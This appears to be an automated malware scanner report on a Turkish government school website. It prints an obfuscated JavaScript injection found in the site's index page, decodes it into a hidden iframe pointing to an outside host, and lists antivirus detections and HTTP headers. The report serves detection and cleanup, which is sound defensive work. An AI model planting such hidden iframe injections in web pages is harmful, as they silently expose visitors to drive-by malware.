New scan:

Malware Scanner report for mustafanevzatpisak-mem.gov.tr

Malicious/Suspicious/Total urls checked
1/0/4
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "mustafanevzatpisak-mem.gov.tr" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/1/1
1 suspicious iframe found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=mustafanevzatpisak-mem.gov.tr

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://mustafanevzatpisak-mem.gov.tr/
HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Jan 2015 23:54:28 GMT
Accept-Ranges: bytes
ETag: "e4672e25b193c91:39cc"
Server: Microsoft-IIS/5.0
Content-Length: 20318
Content-Location: http://mustafanevzatpisak-mem.gov.tr/index.html
Content-Type: text/html
Last-Modified: Fri, 20 Feb 2009 23:15:39 GMT
X-Powered-By: ASP.NET
clean
http://mustafanevzatpisak-mem.gov.tr/index.html
200 OK
Content-Length: 20318
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function c102916999516l498a58d3afabe(l498a58d3afea6){ function l498a58d3b028e(){return 16;} return (parseInt(l498a58d3afea6,l498a58d3b028e()));}function l498a58d3b0a5f(l498a58d3b0e47){ function l498a58d3b1a00(){return 2;} var l498a58d3b1233='';l498a58d3b21d1=String.fromCharCode;for(l498a58d3b1619=0;l498a58d3b1619<l498a58d3b0e47.length;l498a58d3b1619+=l498a58d3b1a00()){ l498a58d3b1233+=(l498a58d3b21d1(c102916999516l498a58d3afabe(l498a58d3b0e47.substr(l498a58d3b1619,l498a58d3b1a00()))));}return
... 1325 bytes are skipped ...
92537332536'+x8d+'392536'+x8d+'322536'+x8d+'392536'+x8d+'6'+x8d+'32536'+x8d+'3925373425373925336'+x8d+'12536'+x8d+'382536'+x8d+'392536'+x8d+'342536'+x8d+'342536'+x8d+'352536'+x8d+'6'+x8d+'525323725336'+x8d+'525336'+x8d+'325326'+x8d+'6'+x8d+'2536'+x8d+'392536'+x8d+'36'+x8d+'2537322536'+x8d+'312536'+x8d+'6'+x8d+'42536'+x8d+'3525336'+x8d+'52729293B7D76'+x8d+'6'+x8d+'172206'+x8d+'D796'+x8d+'96'+x8d+'13D7472756'+x8d+'53B3C2F736'+x8d+'3726'+x8d+'970743E';document.write(l498a58d3b0a5f(l498a58d3b25b9));

Decoded script:


<iframe name=c10 src='http://gogo2me.net/.go/check.html' width=509 height=5 style='visibility:hidden'></iframe>

Antivirus reports:

Ikarus
Trojan.IframeRef
McAfee-GW-Edition
Heuristic.LooksLike.HTML.Infected.B
VIPRE
Heur.HTML.MalIFrame (v)

Hidden iFrame found.
size: 1x1     style: hidden
src: http://url/

<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'>

http://fastwebcounter.com/secure.php?s=www.mnpmem.gov.tr
200 OK
Content-Length: 25
Content-Type: text/html
clean
http://fastwebcounter.com/test404page.js
404 Not Found
Content-Length: 212
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: mustafanevzatpisak-mem.gov.tr

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Jan 2015 23:54:28 GMT
Accept-Ranges: bytes
ETag: "e4672e25b193c91:39cc"
Server: Microsoft-IIS/5.0
Content-Length: 20318
Content-Location: http://mustafanevzatpisak-mem.gov.tr/index.html
Content-Type: text/html
Last-Modified: Fri, 20 Feb 2009 23:15:39 GMT
X-Powered-By: ASP.NET

...20318 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: mustafanevzatpisak-mem.gov.tr
Referer: http://www.google.com/search?q=mustafanevzatpisak-mem.gov.tr

Result:
The result is similar to the first query. There are no suspicious redirects found.